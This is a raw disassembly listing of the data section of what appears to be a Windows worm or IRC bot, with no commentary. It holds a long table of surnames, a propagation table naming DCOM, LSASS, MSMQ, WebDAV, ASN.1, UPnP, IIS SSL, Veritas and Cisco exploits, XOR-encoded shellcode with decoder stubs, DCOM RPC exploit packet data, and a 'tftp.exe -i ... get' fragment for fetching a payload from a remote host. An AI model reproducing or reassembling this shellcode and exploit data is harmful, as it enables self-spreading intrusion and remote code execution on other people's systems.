dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset dword_430058
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
align 10h
dword_43D760 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+BEo
db 66h, 0B9h
word_43D76E dw 0FFFFh ; DATA XREF: sub_40AD00+C6w
db 80h, 73h, 0Eh
byte_43D773 db 0FFh ; DATA XREF: sub_40AD00+CDw
dd 0F9E243h
dword_43D778 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+9Co
db 0B1h
byte_43D785 db 0FFh ; DATA XREF: sub_40AD00+A4w
dw 7380h
db 0Ch
byte_43D789 db 0FFh ; DATA XREF: sub_40AD00+AAw
dw 0E243h
dd 0F9h
dword_43D790 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40AC0D+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43D7F4 dd 12h ; DATA XREF: sub_40AC0D+3Bw
dd 70746674h, 6578652Eh, 20692D20h
aGet db ' get ',0 ; DATA XREF: sub_40AC0D+7Co
aJ_1 db 'j',0
db 0E8h
dword_43D80D dd 17h ; DATA XREF: sub_40AC0D+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_43D815 dd 1 ; DATA XREF: sub_40AC0D+43w
byte_43D819 db 0, 6Ah, 0 ; DATA XREF: sub_40AC0D+C0o
dd 7E8h
db 0, 0Fh, 84h
dword_43D823 dd 0FFFFFFEDh ; DATA XREF: sub_40AC0D+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h, 0
aNetbios_0 db 'netbios',0
db 2 dup(0)
aNetbios db 'NetBios',0 ; DATA XREF: sub_40B553+30o
; seg000:0040C6D0o ...
align 4
dd 5 dup(0)
dword_43D880 dd 8Bh ; DATA XREF: sub_40274D+1BB0r
; sub_40274D+1BD9o ...
dd offset loc_4100AE
dword_43D888 dd 0 ; DATA XREF: sub_40B3C5+2Eo
; seg000:0040C71Br ...
dword_43D88C dd 0 ; DATA XREF: seg000:0040B6AEr
dword_43D890 dd 0 ; DATA XREF: seg000:0040BA3Ar
dword_43D894 dd 0 ; DATA XREF: seg000:0040B915r
aNtpass db 'ntpass',0
align 10h
dd 544E0000h, 73736150h, 6 dup(0)
dd 1BDh, 4100AEh, 4 dup(0)
aDcom135 db 'dcom135',0
dd 43440000h, 31204D4Fh, 3533h, 5 dup(0)
dd 87h, 40CC47h, 0
dd 1, 2 dup(0)
aDcom445 db 'dcom445',0
dd 43440000h, 34204D4Fh, 3534h, 5 dup(0)
dd 1BDh, 40CC47h, 0
dd 1, 2 dup(0)
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'DCOM 1025',0
dd 5 dup(0)
dd 401h, 40CC47h, 0
dd 1, 2 dup(0)
aLsass db 'lsass',0
align 10h
dd 4F480000h, 534C2044h, 535341h, 5 dup(0)
dd 1BDh, 40DC47h, 0
dd 1, 2 dup(0)
aLsasscb db 'lsasscb',0
dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0)
dd 1BDh, 40E220h, 0
dd 1, 0
dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h
dd 5 dup(0)
dd 87h, 4102B1h, 0
dd 1, 2 dup(0)
aLsass445 db 'lsass445',0
align 2
aPlsass445 db 'PLSASS 445',0
align 10h
dd 4 dup(0)
dd 1BDh, 4102B1h, 0
dd 1, 2 dup(0)
aLsass1025 db 'lsass1025',0
aPlsass1025 db 'PLSASS 1025',0
align 10h
dd 4 dup(0)
dd 401h, 4102B1h, 0
dd 1, 2 dup(0)
aWks_eng db 'wks_eng',0
dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0)
dd 1BDh, 4113B7h, 0
dd 1, 2 dup(0)
aWks_oth db 'wks_oth',0
dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0)
dd 1BDh, 41143Fh, 0
dd 1, 2 dup(0)
aMsgsvc db 'msgsvc',0
align 10h
dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
dd 87h, 40E596h, 0
dd 1, 2 dup(0)
aMsmq2103 db 'msmq2103',0
align 2
aMsmq2103_0 db 'MSMQ 2103',0
dd 5 dup(0)
dd 837h, 40FB58h, 0
dd 1, 2 dup(0)
aMsmq2105 db 'msmq2105',0
align 2
aMsmq2105_0 db 'MSMQ 2105',0
dd 5 dup(0)
dd 839h, 40FB58h, 0
dd 1, 2 dup(0)
aMsmq2107 db 'msmq2107',0
align 2
aMsmq2107_0 db 'MSMQ 2107',0
dd 5 dup(0)
dd 83Bh, 40FB58h, 0
dd 1, 2 dup(0)
aIis5ssl db 'iis5ssl',0
dd 49490000h, 53533553h, 4Ch, 5 dup(0)
dd 1BBh, 40CF1Eh, 0
dd 1, 0
dd 1, 64626577h, 7661h, 65570000h, 56414462h, 6 dup(0)
dd 50h, 410DA7h, 0
dd 1, 2 dup(0)
aVeritas db 'veritas',0
dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h
dd 63h, 2 dup(0)
dd 17D5h, 410BAEh, 0
dd 1, 2 dup(0)
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 10h
dd 4 dup(0)
dd 50h, 40F6D1h, 0
dd 1, 2 dup(0)
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40F6D1h, 0
dd 1, 2 dup(0)
aAsn1smbnt db 'asn1smbnt',0
aAsn_1SmbNt db 'ASN.1-SMB NT',0
align 10h
dd 4 dup(0)
dd 8Bh, 40F6D1h, 0
dd 1, 2 dup(0)
aUmpnp db 'umpnp',0
align 10h
dd 4D550000h, 506E50h, 6 dup(0)
dd 1BDh, 4106C6h, 0
dd 1, 2 dup(0)
aImail_0 db 'imail',0
align 10h
dd 4D490000h, 6C6961h, 6 dup(0)
dd 8Fh, 40D12Ch, 0
dd 1, 2 dup(0)
aMersin db 'mersin',0
align 10h
dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
dd 170Ch, 41DDECh, 0
dd 1, 2 dup(0)
aCisco23 db 'cisco23',0
dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0)
dd 17h, 40C5C6h, 4 dup(0)
aCisco80 db 'cisco80',0
dd 69430000h, 206F6373h, 50545448h, 5 dup(0)
dd 50h, 40C731h, 14h dup(0)
aLsass445_0 db 'lsass445',0
align 2
byte_43DF62 db 1 ; DATA XREF: sub_40274D:loc_404279r
; sub_40274D+1B36o
aMsmq2103_1 db 'msmq2103',0
dd 73610100h, 6D73316Eh, 62h, 1, 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
dword_43E108 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: seg000:0040CD25o
; seg000:0040CE62o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43E158 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40CA2C+EBo
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
